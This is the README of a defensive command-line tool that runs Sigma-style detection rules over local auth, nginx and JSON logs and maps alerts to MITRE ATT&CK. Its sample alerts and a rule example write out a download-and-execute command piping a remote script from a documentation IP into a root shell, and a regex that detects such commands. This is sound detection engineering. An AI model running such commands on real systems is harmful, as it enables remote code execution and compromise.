Run Sigma-style detection rules over the logs you already have, with no SIEM and no dependencies. Small teams, incident responders on a single box, and anyone writing detections in a pull request hit the same problem: the rule language (Sigma) is great, but running a rule usually means converting it for a SIEM you may not have. detectlite is a read-only toolkit for defenders that loads Sigma-compatible rules (a documented subset), runs them over local auth logs, web access logs, JSON and CSV, and reports alerts mapped to MITRE ATT&CK, as text, JSON or SARIF. It reads logs and rules; it never executes anything it reads and never touches the network. It ships with 42 original starter rules, each carrying its own test examples.
detectlite is Sigma-compatible for the subset documented below and is not affiliated with or endorsed by the SigmaHQ project. ATT&CK is a trademark of The MITRE Corporation; detectlite only references public technique IDs.
Standard library only, Python 3.9+.
pip install git+https://github.com/TPOALOS/detectlite
detectlite run --year 2026 examples/auth.log # or: python -m detectlite run ...examples/ holds small synthetic logs (documentation IP ranges, example.com). Real output on examples/auth.log:
$ detectlite run --year 2026 examples/auth.log
[HIGH] SSH brute force from a single source (bfc1e7c1-1239-41b1-94f6-bd6985ea3882)
when: 2026-11-15T10:00:11Z where: examples/auth.log:9
att&ck: T1110.001 Brute Force: Password Guessing
tactic: Credential Access
count: 6 for SrcIp=203.0.113.5 between 2026-11-15T10:00:01Z and 2026-11-15T10:00:11Z
event: timestamp=2026-11-15T10:00:11Z Hostname=web01 Program=sshd Message=Failed password for deploy from 203.0.113.5 port 40003 ssh2 Pid=1304 User=deploy SrcIp=203.0.113.5 SrcPort=40003 AuthMethod=password EventType=ssh_failed_password InvalidUser=false
[CRITICAL] Successful SSH login after a brute-force burst (fd82061c-59e1-4b1d-84d5-4cab069dfd4e)
when: 2026-11-15T10:01:30Z where: examples/auth.log:10
att&ck: T1078 Valid Accounts, T1110.001 Brute Force: Password Guessing
tactic: Initial Access, Persistence, Privilege Escalation, Defense Evasion, Credential Access
sequence for SrcIp=203.0.113.5:
- 2026-11-15T10:00:11Z SSH brute force from a single source (examples/auth.log:9)
- 2026-11-15T10:01:30Z SSH login accepted (sequence building block) (examples/auth.log:10)
event: timestamp=2026-11-15T10:01:30Z Hostname=web01 Program=sshd Message=Accepted password for deploy from 203.0.113.5 port 40004 ssh2 Pid=1305 User=deploy SrcIp=203.0.113.5 SrcPort=40004 AuthMethod=password EventType=ssh_accepted
[MEDIUM] Interactive root shell through sudo (f2f953b9-396f-4687-b5ed-6cd62b0d5fa0)
when: 2026-11-15T10:02:00Z where: examples/auth.log:11
att&ck: T1548.003 Abuse Elevation Control Mechanism: Sudo and Sudo Caching
tactic: Privilege Escalation, Defense Evasion
matched: selection
event: timestamp=2026-11-15T10:02:00Z Hostname=web01 Program=sudo Message= deploy : TTY=pts/1 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash User=deploy CommandLine=/bin/bash Tty=pts/1 Pwd=/home/deploy TargetUser=root EventType=sudo_command
[HIGH] Download piped straight into a shell (7f45663d-2099-4639-b2ee-7625b739aa0c)
when: 2026-11-15T10:02:40Z where: examples/auth.log:12
att&ck: T1059.004 Command and Scripting Interpreter: Unix Shell, T1105 Ingress Tool Transfer
tactic: Execution, Command and Control
matched: selection_pipe
event: timestamp=2026-11-15T10:02:40Z Hostname=web01 Program=sudo Message= deploy : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/curl -fsSL http://203.0.113.10/i.sh | sh User=deploy CommandLine=/usr/bin/curl -fsSL http://203.0.113.10/i.sh | sh Tty=pts/1 Pwd=/root TargetUser=root EventType=sudo_command
[MEDIUM] New local user account created (e9f0de78-4967-4c76-8726-062997ab0e15)
when: 2026-11-15T10:03:05Z where: examples/auth.log:13
att&ck: T1136.001 Create Account: Local Account
tactic: Persistence
matched: selection_log
event: timestamp=2026-11-15T10:03:05Z Hostname=web01 Program=useradd Message=new user: name=backup2, UID=1001, GID=1001, home=/home/backup2, shell=/bin/bash, from=/dev/pts/1 Pid=1400 EventType=user_added TargetUser=backup2 Shell=/bin/bash
[HIGH] User added to a privileged group (822865dc-83dd-4b6e-b7f7-ffdcee8a83a0)
when: 2026-11-15T10:03:09Z where: examples/auth.log:14
att&ck: T1098 Account Manipulation
tactic: Persistence, Privilege Escalation
matched: selection_log
event: timestamp=2026-11-15T10:03:09Z Hostname=web01 Program=usermod Message=add 'backup2' to group 'sudo' Pid=1405 EventType=user_group_added TargetUser=backup2 Group=sudo
6 alert(s) (critical: 1, high: 3, medium: 2) from 15 event(s) in 1 file(s); 42 rule(s) loaded
The exit code was 1 because there were alerts. The whole examples/ directory (auth log, nginx access log and a JSON Lines file
of process command lines; formats are picked from the file names) gives:
$ detectlite run --year 2026 --min-level high examples/
...
9 alert(s) (critical: 1, high: 8) from 25 event(s) in 3 file(s); 18 rule(s) loaded
Ask what a rule does before trusting it:
$ detectlite explain "SSH password spraying"
SSH password spraying across many accounts
==========================================
id: 7a965d5b-dfdb-409c-9c07-8433ce76fff4 level: high status: test kind: aggregation
file: bundled:auth/ssh_password_spraying.yml
What it detects:
One source address fails to log in as five or more different user names
within ten minutes. Spraying tries a few common passwords against many
accounts to stay under per-account lockout thresholds.
Log source: product=linux, service=auth
Selections:
selection: field 'EventType' equals 'ssh_failed_password' OR equals 'ssh_invalid_user'
Condition:
selection | count(User) by SrcIp >= 5
means: selection
alert when there are at least 5 distinct values of 'User' per 'SrcIp' within 10m
(string matching is case-insensitive unless the 'cased' modifier is used)
ATT&CK mapping:
T1110.003 Brute Force: Password Spraying
tactics: Credential Access (TA0006)
False positives:
- A jump host or NAT gateway shared by several users who all mistype passwords
References:
- https://attack.mitre.org/techniques/T1110/003/
Embedded tests: 1 match / 1 nomatch example(s)
And check the rules themselves:
$ detectlite validate
42 rule(s) loaded: 0 error(s), 0 warning(s), 0 hint(s) (use -v to show hints)
$ detectlite test
176 passed, 0 failed (176 examples in 42 rules)
| Command | What it does |
|---|---|
run LOG... |
Run rules (-r PATH, repeatable; default: bundled rules) over files, directories or - (stdin). --format auto|jsonl|json|csv|auth|nginx|syslog, --min-level, --tag GLOB, --logsource key=value, --text (default) / --json / --sarif, --max-alerts N, --year, --timestamp-field, --event-logsource, --max-file-bytes, --max-line-bytes, -o FILE |
validate [PATH...] |
Lint rules: errors, warnings and (-v) hints, each with a code such as DL066 |
list |
Rules with level, kind and ATT&CK techniques (--json, same filters as run) |
explain RULE |
Plain-language explanation: selections, condition, window, ATT&CK mapping, false positives |
attack-coverage |
ATT&CK tactics and techniques covered by a rule set (--json, --markdown) |
test [PATH...] |
Verify each rule's embedded tests: examples (--require-tests fails rules without any) |
Exit codes: 0 clean (no alerts, no lint findings, all tests pass), 1 findings (alerts, lint errors or warnings, failing
tests), 2 usage or input error (bad arguments, invalid rules, unreadable logs). Invalid rules stop run with exit code 2
unless --skip-invalid-rules is given, because silently skipping a broken detection is worse than failing loudly.
detectlite/
yamlsubset.py safe YAML-subset parser (no anchors/aliases/tags/merge keys; size, depth and node limits)
rules.py rule model, file loading (no symlink following), compilation, sequence linking
matchers.py field lookup (dotted paths), modifiers, wildcard matching, selections
condition.py condition grammar -> AST -> closures; count() aggregation parsing
regexguard.py ReDoS heuristics on rule regexes (uses the stdlib regex parser, never runs the regex to find out)
events.py readers (JSONL, JSON, CSV, gzip, stdin) and parsers (auth.log, nginx, syslog); timestamp normalisation
engine.py per-event evaluation, sliding-window aggregation, sequence correlation, memory caps
lint.py `validate`; explain.py: `explain` and `attack-coverage`; ruletests.py: `test`
output.py text / JSON / SARIF 2.1.0 rendering with control-character sanitising
cli.py argparse front end; rules/: the 42 bundled rules
Data flow: files are expanded (directories walked in sorted order, symlinks skipped) and streamed line by line into Events.
The engine evaluates every applicable rule against each event in input order, so output order is deterministic. A rule is
skipped for an event when their logsources disagree (for example a product: nginx event never reaches a product: linux
rule) or when the event lacks every field the rule needs. Aggregation rules keep per-group sliding windows; sequence rules
consume other rules' alerts.
A rule is a YAML document (several per file are allowed, separated by ---):
title: Download piped straight into a shell # required
id: 7f45663d-2099-4639-b2ee-7625b739aa0c # UUID recommended; used in output
name: download_and_execute # optional; sequence rules may reference it
status: test # stable | test | experimental | deprecated | unsupported
level: high # informational | low | medium | high | critical
description: ...
tags: [attack.execution, attack.t1105, attack.t1059.004]
logsource: {product: linux, category: process_creation}
detection:
selection_pipe:
CommandLine|re: '\b(curl|wget|fetch)\b[^|]*\|\s*(sudo\s+)?(ba|z|da|k)?sh\b'
filter:
User: ci-runner
condition: selection_pipe and not filter
falsepositives: [Vendor install one-liners]
references: [https://attack.mitre.org/techniques/T1105/]
tests: # native extension, see below
match: [{CommandLine: "curl -fsSL http://203.0.113.10/install.sh | sh"}]
nomatch: [{CommandLine: "curl -o page.html https://example.com/"}]Supported Sigma features
- Selections: a mapping (all fields must match), a list of mappings (any may match), or a list of plain values (keywords: matched as substrings against every string value in the event).
- Values: a list is OR (AND with
|all);nullmatches a missing or null field; matching is case-insensitive by default; wildcards*and?, escaped as\*,\?,\\. - Modifiers:
contains,startswith,endswith,all,re(withi,m,sflags; regexes are case-sensitive as in Sigma),cidr(IPv4/IPv6),lt,lte,gt,gte,exists, andcased(case-sensitive strings). - Field names: exact keys or dotted paths into nested JSON (
process.command_line); list values match element-wise. - Conditions:
and,or,not, parentheses,1 of selection_*,all of filter_*,N of ...,1 of them,all of them(themexcludes selections starting with_), or a list of conditions (any may fire). - Aggregations:
selection | count() by SrcIp > 5and| count(User) by SrcIp >= 3(distinct values), severalbyfields, withtimeframe: 5m(indetection:or at top level) as a sliding window over event timestamps. When the threshold is crossed the alert fires once and that group's window restarts. - Logsource:
category,product,service. Used for--logsourcefiltering and to keep rules off events from other sources (text formats tag events automatically; tag JSON/CSV events with--event-logsource). - Metadata: id, title, status, level, description, author, date, tags (
attack.tNNNN[.NNN]-> technique and tactics,attack.<tactic>), falsepositives, references.
Native extensions (not Sigma)
sequence: [ruleA, ruleB]withwithin: 10mand optionalby: SrcIp(or a list): fires when the referenced rules (byidorname) alert in that order, for the samebyvalues, within the window of the first step. Steps may be aggregation rules.generate: false: the rule runs (for sequences and tests) but its alerts are not reported.tests:withmatch:andnomatch:lists. Each example is one event (a mapping) or a list of events processed in order with a fresh engine, so aggregation and sequence rules can be tested. Events without a timestamp all count as the same moment.
Not supported (rejected with a clear error, never silently ignored): windash, base64, base64offset, utf16*,
wide, expand and fieldref modifiers; near; aggregation functions other than count; <, <= and = aggregation
comparisons (they need end-of-window evaluation); Sigma correlation rule documents, action: global multi-document
templates, filters and field mappings/pipelines from pySigma; YAML anchors, aliases, tags and merge keys.
--format |
Source | Fields |
|---|---|---|
jsonl / json |
JSON Lines (streamed) or a JSON array (read whole, capped at 64 MiB); journalctl -o json records get the auth/syslog fields |
as in the file; time from timestamp, @timestamp, time, ts, ... or --timestamp-field |
csv |
header row + rows | header names; values are strings (numeric modifiers parse them) |
auth |
auth.log / secure | EventType (ssh_failed_password, ssh_accepted, ssh_invalid_user, ssh_max_auth_exceeded, ssh_auth_failure, sudo_command, sudo_auth_failure, sudo_not_in_sudoers, su_failed, su_session, user_added, user_group_added, password_changed, ...), User, TargetUser, SrcIp, SrcPort, AuthMethod, CommandLine, Group, plus the syslog fields |
nginx |
nginx/Apache combined or common log | SrcIp, Method, Path, UriPath, Query, PathDecoded (percent-decoded up to twice), Protocol, Status, Bytes, Referer, UserAgent, RemoteUser |
syslog |
BSD syslog, RFC 3339-stamped or RFC 5424 lines | timestamp, Hostname, Program, Pid, Message |
auto (the default) picks jsonl/json/csv by extension, auth for names containing auth or secure, nginx for
access or nginx, and syslog for syslog or messages. When the name says nothing (for example today.log, or - for
stdin) the first lines decide: JSON, nginx, auth (syslog lines from sshd, sudo, su or the account tools), plain syslog or CSV.
A file of which no line could be read is reported with a warning, so a wrong format never passes silently as "0 alerts". .gz files (or gzip content) are decompressed on the fly. Timestamps are
normalised to UTC: ISO 8601 / RFC 3339 (naive times are taken as UTC), epoch seconds/milliseconds, nginx 15/Nov/2026:10:00:01 +0000 and syslog Nov 15 10:00:01. Syslog lines have no year: pass --year (default: the current year; a December to January
jump inside a file moves to the next year).
Generated by detectlite attack-coverage --markdown (the building-block rule with generate: false is excluded):
| Tactic | Technique | Name | Rules |
|---|---|---|---|
| Reconnaissance (TA0043) | T1595.002 | Active Scanning: Vulnerability Scanning | 1 |
| Reconnaissance (TA0043) | T1595.003 | Active Scanning: Wordlist Scanning | 2 |
| Resource Development (TA0042) | - | not covered | 0 |
| Initial Access (TA0001) | T1078 | Valid Accounts | 1 |
| Initial Access (TA0001) | T1078.003 | Valid Accounts: Local Accounts | 1 |
| Initial Access (TA0001) | T1189 | Drive-by Compromise | 1 |
| Initial Access (TA0001) | T1190 | Exploit Public-Facing Application | 5 |
| Execution (TA0002) | (tactic only) | 1 | |
| Execution (TA0002) | T1053.003 | Scheduled Task/Job: Cron | 1 |
| Execution (TA0002) | T1059.004 | Command and Scripting Interpreter: Unix Shell | 3 |
| Persistence (TA0003) | T1053.003 | Scheduled Task/Job: Cron | 1 |
| Persistence (TA0003) | T1078 | Valid Accounts | 1 |
| Persistence (TA0003) | T1078.003 | Valid Accounts: Local Accounts | 1 |
| Persistence (TA0003) | T1098 | Account Manipulation | 1 |
| Persistence (TA0003) | T1098.004 | Account Manipulation: SSH Authorized Keys | 1 |
| Persistence (TA0003) | T1136.001 | Create Account: Local Account | 1 |
| Persistence (TA0003) | T1505.003 | Server Software Component: Web Shell | 1 |
| Persistence (TA0003) | T1543.002 | Create or Modify System Process: Systemd Service | 1 |
| Persistence (TA0003) | T1546.004 | Event Triggered Execution: Unix Shell Configuration Modification | 1 |
| Persistence (TA0003) | T1547.006 | Boot or Logon Autostart Execution: Kernel Modules and Extensions | 1 |
| Privilege Escalation (TA0004) | T1053.003 | Scheduled Task/Job: Cron | 1 |
| Privilege Escalation (TA0004) | T1078 | Valid Accounts | 1 |
| Privilege Escalation (TA0004) | T1078.003 | Valid Accounts: Local Accounts | 1 |
| Privilege Escalation (TA0004) | T1098 | Account Manipulation | 1 |
| Privilege Escalation (TA0004) | T1098.004 | Account Manipulation: SSH Authorized Keys | 1 |
| Privilege Escalation (TA0004) | T1543.002 | Create or Modify System Process: Systemd Service | 1 |
| Privilege Escalation (TA0004) | T1546.004 | Event Triggered Execution: Unix Shell Configuration Modification | 1 |
| Privilege Escalation (TA0004) | T1547.006 | Boot or Logon Autostart Execution: Kernel Modules and Extensions | 1 |
| Privilege Escalation (TA0004) | T1548.001 | Abuse Elevation Control Mechanism: Setuid and Setgid | 1 |
| Privilege Escalation (TA0004) | T1548.003 | Abuse Elevation Control Mechanism: Sudo and Sudo Caching | 3 |
| Defense Evasion (TA0005) | T1027 | Obfuscated Files or Information | 1 |
| Defense Evasion (TA0005) | T1070.002 | Indicator Removal: Clear Linux or Mac System Logs | 1 |
| Defense Evasion (TA0005) | T1070.003 | Indicator Removal: Clear Command History | 1 |
| Defense Evasion (TA0005) | T1078 | Valid Accounts | 1 |
| Defense Evasion (TA0005) | T1078.003 | Valid Accounts: Local Accounts | 1 |
| Defense Evasion (TA0005) | T1140 | Deobfuscate/Decode Files or Information | 1 |
| Defense Evasion (TA0005) | T1222.002 | File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification | 1 |
| Defense Evasion (TA0005) | T1548.001 | Abuse Elevation Control Mechanism: Setuid and Setgid | 1 |
| Defense Evasion (TA0005) | T1548.003 | Abuse Elevation Control Mechanism: Sudo and Sudo Caching | 3 |
| Defense Evasion (TA0005) | T1562.001 | Impair Defenses: Disable or Modify Tools | 1 |
| Defense Evasion (TA0005) | T1562.004 | Impair Defenses: Disable or Modify System Firewall | 1 |
| Credential Access (TA0006) | T1003.008 | OS Credential Dumping: /etc/passwd and /etc/shadow | 1 |
| Credential Access (TA0006) | T1110.001 | Brute Force: Password Guessing | 6 |
| Credential Access (TA0006) | T1110.003 | Brute Force: Password Spraying | 1 |
| Credential Access (TA0006) | T1552.001 | Unsecured Credentials: Credentials In Files | 1 |
| Credential Access (TA0006) | T1552.004 | Unsecured Credentials: Private Keys | 1 |
| Discovery (TA0007) | T1046 | Network Service Discovery | 1 |
| Lateral Movement (TA0008) | T1021.004 | Remote Services: SSH | 1 |
| Collection (TA0009) | - | not covered | 0 |
| Command and Control (TA0011) | T1095 | Non-Application Layer Protocol | 1 |
| Command and Control (TA0011) | T1105 | Ingress Tool Transfer | 1 |
| Exfiltration (TA0010) | - | not covered | 0 |
| Impact (TA0040) | - | not covered | 0 |
33 techniques across 10 of 14 tactics, from 41 rules.
A technique appears under every tactic ATT&CK lists for it, so "covered" means "at least one rule maps there", not "this tactic is well defended". The bundled rules cover SSH brute force, password spraying, user enumeration, login after brute force, root logins, sudo/su abuse, account and group changes, cron/systemd/shell-profile/authorized_keys persistence, download-and-execute, reverse-shell-like and base64-to-shell command lines, log and history clearing, disabling security tools and firewalls, credential file access, setuid bits, kernel modules from temp directories, scanners, and web attacks (scanner user agents, path traversal, LFI, SQLi, XSS, sensitive file probes, WordPress login brute force, 4xx/5xx bursts, web shells, Shellshock).
- Find the fields: run
detectlite run --jsonwith a catch-all rule, or read the "Inputs and fields" table. - Write the rule with a narrow selection and an explicit
filterfor known-good activity. - Add
tests:with at least onematchand one near-missnomatchexample. detectlite validate my-rules/ && detectlite test --require-tests my-rules/.- Run it over a day of real, known-clean logs and read every alert before turning it on.
More detail, including how to keep regexes safe, is in docs/writing-detections.md.
Lint and test a rules repository on every push and pull request:
name: detections
on:
push:
branches: [main]
pull_request:
permissions:
contents: read
jobs:
rules:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4
with:
persist-credentials: false
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5
with:
python-version: "3.12"
- run: pip install git+https://github.com/TPOALOS/detectlite@v1.0.0
- run: detectlite validate rules/
- run: detectlite test --require-tests rules/detectlite run --sarif -o detectlite.sarif ... produces a SARIF 2.1.0 file that code-scanning dashboards can ingest.
- Read-only. Nothing from a rule or a log is executed, evaluated or fetched. The YAML parser builds only dicts, lists and scalars and refuses anchors, aliases, tags and merge keys (no billion-laughs, no object construction).
- Bounded. Rule files are capped at 1 MiB, YAML depth and node count are limited, log files stop at
--max-file-bytes(256 MiB, measured after gzip decompression, so gzip bombs stop early), lines over--max-line-bytes(64 KiB) are skipped and counted, JSON arrays are capped at 64 MiB, strings are matched on their first 64 KiB, aggregation windows keep at most 10,000 entries per group and 100,000 groups per rule (oldest evicted, with a warning). - ReDoS guard. Rule regexes with nested unbounded quantifiers (
(a+)+) or quantified overlapping alternations ((a|ab)*) are rejected; adjacent overlapping quantifiers and back-references produce lint warnings. Wildcards never become regexes; they are matched by a linear segment search. - Hostile logs. Bad UTF-8 is replaced, NUL-containing lines are skipped, and every log- or rule-derived string printed to
the terminal has control characters, ANSI escapes and bidi overrides escaped (
\x1b,). JSON and SARIF are pure ASCII. - No symlink following in directory scans (rules and logs). Output files (
-o) are written atomically. - Deterministic ordering: sorted files, input order of events, then rule order.
Be clear-eyed about what this is.
- A subset of Sigma, not a full implementation: see "Not supported" above. Community rules that use an unsupported modifier are rejected, and rules written for Windows, Sysmon or cloud field names will not match Linux or nginx events without renaming fields; there is no pySigma-style field mapping pipeline.
- Not a SIEM. No storage, indexing, dashboards, alert routing, enrichment or retention. It processes the files you give it, once, in order. Aggregation windows assume events are roughly time-ordered; out-of-order input can delay or miss aggregation and sequence alerts. Events without a timestamp inherit the previous event's time.
- No Windows EVTX, journald binary files, auditd raw format or cloud provider logs. Convert them to JSON Lines first.
- Process command-line rules need process events. On a plain auth.log they only see
sudocommands. Feed them auditd, eBPF or EDR exports converted to JSON with aCommandLinefield. - Heuristics. The bundled rules are starting points tuned to stay quiet on a benign synthetic corpus, not on your environment. Attackers can evade string matching (encoding, renamed tools, changed user agents), and each rule lists the false positives we know of. The ReDoS guard is a heuristic too: it cannot prove a regex safe, which is why matched input length is also bounded.
- The embedded ATT&CK table covers the techniques used here plus a few common ones; other well-formed technique IDs are accepted, but their tactic comes only from your tactic tags.
python3 -m unittest -v # standard library only
python3 -m detectlite validate && python3 -m detectlite testSee CONTRIBUTING.md and SECURITY.md.
MIT (c) TPOALOS
More tools by TPOALOS: hostguard · backtestlint · riskmetrics · edgelab · toolbox